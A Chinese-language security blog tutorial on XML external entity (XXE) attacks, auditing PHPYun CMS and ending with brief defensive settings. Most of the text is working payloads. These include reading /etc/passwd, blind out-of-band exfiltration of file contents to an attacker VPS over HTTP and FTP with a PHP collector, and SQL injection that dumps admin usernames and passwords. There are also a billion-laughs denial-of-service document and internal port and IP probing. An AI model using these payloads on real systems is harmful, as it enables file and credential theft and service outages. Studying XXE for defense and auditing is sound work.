首先,我们需要对XML进行一定的了解,在这里不做过多的多余叙述,接下图为XML工作流程:

简易xml概括
实体引用
对于实体ENTITY,XML定义了两种类型的实体,一种在XML文档中使用,另一种作为参数在DTD中使用。语法如下:
1
| <!DOCTYPE 名字 [<!ENTITY 实体名 "实体内容"]>
|
楼下为预定义的实体引用

DTD(文档类型定义)
定义:
其可定义XML文档的合法构建模块,可在XML文档内声明,也可外部引用。
构建方式:
先来说下CDATA,指由XML解析器进行解析的文本数据(未分析的字符数据)。在XML中,<,&字符为非法,避免麻烦例如JS代码,就将脚本代码定为CDATA ,其中的内容都会被解析器忽略,组成结构为:" <![CDATA [" ****"]]>"。其次就是普通声明及引用
1
| <!ENTITY entity-name "entity-value">
|
引用:
<message>&entity-name; </ message>,即可将“ entity-value”展示出来
1.内部实体声明
内部实体指在一个实体中定义的另一个实体,可用单双引号来区分内外部。
1 2
| eg:<!ENTITY % in "<!ENTITY web 'http://vps'>"> %in;
|
2.外部实体声明及默认协议

1 2 3 4 5
| eg: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY flag SYSTEM "file:///etc/passwd"> ]> <a>&flag;</a>
|
3.参数实体
参数实体仅用于DTD和文档的内部子集中,XML的规范定义中,仅在DTD中才能引用参数实体。并且参数实体的引用在DTD中是该类型的实体使用“百分比”字符(或十六进制)编码的百分比)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容,其在DTD中的解析优先于XML文本中的内部实体解析。
1 2 3 4 5
| eg: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % one "hello"> ]> %one;
|
漏洞利用
XXE
原理(以PHPYun cms为例)
这里的漏洞位置为此cms的weixin/model/index.class.php,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| private function responseMsg() { $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr)){
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $time = time(); $textTpl = "<xml> <![CDATA[%s]]> <![CDATA[%s]]> %s <![CDATA[%s]]> <![CDATA[%s]]> 0 </xml>"; if(!empty( $keyword )) { $msgType = "text"; $contentStr = "Welcome to wechat world!"; $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr); echo $resultStr; }else{ echo "Input something..."; }
}else { echo ""; exit; } }
|
我们可以看到$postStr = $GLOBALS["HTTP_RAW_POST_DATA"],这句话的意思是传递原生的语句,而后$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);又通过simplexml_load_string函数解析后,直接传入$textTpl.
1
| $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
|
这里也相当于直接获取post过来的XML内容直接输出.(请记住这一部分,我们将会在下一部分XXE与SQL注入继续审计)
外部实体注入

payload:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <name>&xxe;</name>
|
基于盲注的XXE
原理
当我们在无回显和无报错的基础上使用盲注,即来构建一条带外信道(OOB)获得数据,主要使用DTD中的内部实体及参数实体。
示例
注入xml文件
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % host SYSTEM "file:///D:/flag.txt"> <!ENTITY % remote SYSTEM "http://xxx/xxx.xml"> %remote; %receive; %send; ]>
|
xxx.xml文件
1
| <!ENTITY % receive "<!ENTITY send SYSTEM 'http://xxx/x.php?host=%host;'>">
|
x.php
1 2 3
| <?php file_put_contents("1.txt", $_GET['host']) ; ?>
|
通过以上代码就可以进行读取文件等常规操作了,以上说的是php环境,再说下java环境:可通过gopher,file和jar等协议进行配合nc,ftp协议,
这里找到一个赏金猎人写的文章,可以一看
验证漏洞
其实只要让网站对我们的服务器发一个http请求,然后看是否服务器接收到请求即可。代码如下:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://vps"> %remote; ]>
|
基于报错的XXE
和sql注入中的报错注入差不多的原理,当我们将payload故意写错,例如在第二行出错,那xml的内容就会出现在下一行。
下图为示例

XML配置文件未授权访问
多见于用户名,密码,apache,ldap数据库等配置信息泄露
更多示例可查看以下链接:
https://m.hundan.org/wooyun-2015-0123762;
https://m.hundan.org/wooyun-2015-0123588;
https://m.hundan.org/wooyun-2016-0207791(19护网顺手挖到了一个同款漏洞呵呵)
XXE与SQL注入
原理(PHPYun cms为例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| if($MsgType=='event') { $MsgEvent = $postObj->Event; if ($MsgEvent=='subscribe') { $centerStr = "<![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!/n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位/n绑定您的账户体验更多精彩功能/n感谢您的关注!]]>"; $this->MsgType = 'text';
}elseif ($MsgEvent=='CLICK') { $EventKey = $postObj->EventKey; if($EventKey=='我的帐号'){ $centerStr = $this->bindUser($fromUsername);
}elseif($EventKey=='我的消息') { $centerStr = $this->myMsg($fromUsername); }elseif($EventKey=='面试邀请') { $centerStr = $this->Audition($fromUsername);
}elseif($EventKey=='简历查看') {
$centerStr = $this->lookResume($fromUsername);
}elseif($EventKey=='刷新简历') {
$centerStr = $this- > refResume ($ fromUsername );
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| private function isBind($wxid='') { if($wxid) { $User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`"); } if($User['uid']>0) { $User['bindtype'] = '1'; $User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>"; }else{ $Token = $this->getToken(); $Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN'; $CurlReturn = $this->CurlPost($Url); $UserInfo = json_decode($CurlReturn); $wxid = $wxid; $wxname = $UserInfo->nickname; $this->config['token_time'] = time(); $User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>'; } return $User; }
|
我们可以看到第一段代码满足后,会进入第二段代码的isBind函数,这里$wxid是我们传入的FromUserName的值,我们在上面XXE原理进行过代码审计知道它不会对我们传入的数据进行过滤,由此可进行SQL注入
payload:
<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName> 需要注意的是一定要修改HTTP请求为Content-Type: text/ xml;
案例
为避免重复造轮,可自行查看火遍各大高校的某方教务,可拖数据库
XXE与XSS攻击
这篇文章写的很不错,可以借鉴一下
使用XML内部实体绕过Chrome和IE的XSS过滤器
XXE与DDOS攻击
原理
一般分为两种:
- 1.请求大的文件(eg:C:/pagefile.sys 或/dev/random)
/dev/random处于unix中,用作伪随机数生成1
| <!ENTITY go "file:///dev/random" >]><msg>&go;</msg>
|
- 2.billion laughs攻击,即通过不断递归调用来使解析器繁忙,占用内存最终崩掉。(可配合LOIC工具,食用更佳)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <!--此代码包含10亿个大文件,约占3000M字节内存--> <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz ( <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol ;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;& lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;& lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;& lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;& lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;& lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;& lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;& lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;& lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
案例
https://m.hundan.org/wooyun-2015-0137143
XXE与内网信息,命令执行
这里就不进行原理阐述了,和解释器有一些关系,直接上干货,以下建议配合脚本食用更佳。
- 探测端口
如果失败则可能返回Connection refused1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://192.168.0.1:3306">]> <root> <name>&xxe;</name> </root>
|
- 探测内网IP
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://otherIP">]> <root> <name>&xxe;</name> </root>
|
CTF例题
博主很久之前写的,想来想去就不打算再增加例题和减少掉例题了(懒),多少有点帮助,看着玩吧哈哈
API:
http://web.jarvisoj.com:9882

Blind XXE思路:
1.客户端发送payload1给web服务器
2.网络服务器向VPS获取恶意DTD,并执行文件读取payload2
3.网页服务器带着回显结果访问VPS上特定的FTP或者HTTP
4.通过VPS获得回显(NC监听端口)
payload1:
1 2 3 4
| <? xml version= "1.0" encoding= "UTF-8" ?> <!DOCTYPE [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote; ] >
|
payload2(服务器端文件):
1 2 3 4
| <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>"> %int; %trick;
|
防御
- 1.及时升级第三方代码,中间件等
- 2.过滤用户输入数据
- 3.使用php及Java等语言的禁用外部实体方法
1 2 3 4 5 6 7
| php:libxml_disable_entity_loader(true);
java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
python:from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|